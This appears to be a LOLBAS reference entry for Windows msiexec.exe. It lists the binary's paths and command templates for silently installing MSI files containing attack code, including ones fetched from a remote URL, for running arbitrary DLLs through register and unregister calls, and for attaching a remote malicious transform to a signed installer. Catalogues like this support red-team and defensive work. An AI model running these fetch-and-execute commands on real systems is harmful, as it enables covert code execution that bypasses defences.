🪟 LOLBAS / Msiexec.exe

Msiexec.exe

Used by Windows to execute msi files

Paths

  • C:\Windows\System32\msiexec.exe
  • C:\Windows\SysWOW64\msiexec.exe

Commands

Execute

Installs the target .MSI file silently.

Use case: Execute custom made msi file with attack code

Privileges: User

msiexec /quiet /i {PATH:.msi}

Execute

Installs the target remote & renamed .MSI file silently.

Use case: Execute custom made msi file with attack code from remote server

Privileges: User

msiexec /q /i {REMOTEURL}

Execute

Calls DllRegisterServer to register the target DLL.

Use case: Execute dll files

Privileges: User

msiexec /y {PATH_ABSOLUTE:.dll}

Execute

Calls DllUnregisterServer to un-register the target DLL.

Use case: Execute dll files

Privileges: User

msiexec /z {PATH_ABSOLUTE:.dll}

Execute

Installs the target .MSI file from a remote URL, the file can be signed by vendor. Additional to the file a transformation file will be used, which can contains malicious code or binaries. The /qb will skip user input.

Use case: Install trusted and signed msi file, with additional attack code as transformation file, from a remote server

Privileges: User

msiexec /i {PATH_ABSOLUTE:.msi} TRANSFORMS="{REMOTEURL:.mst}" /qb

Detection

Resources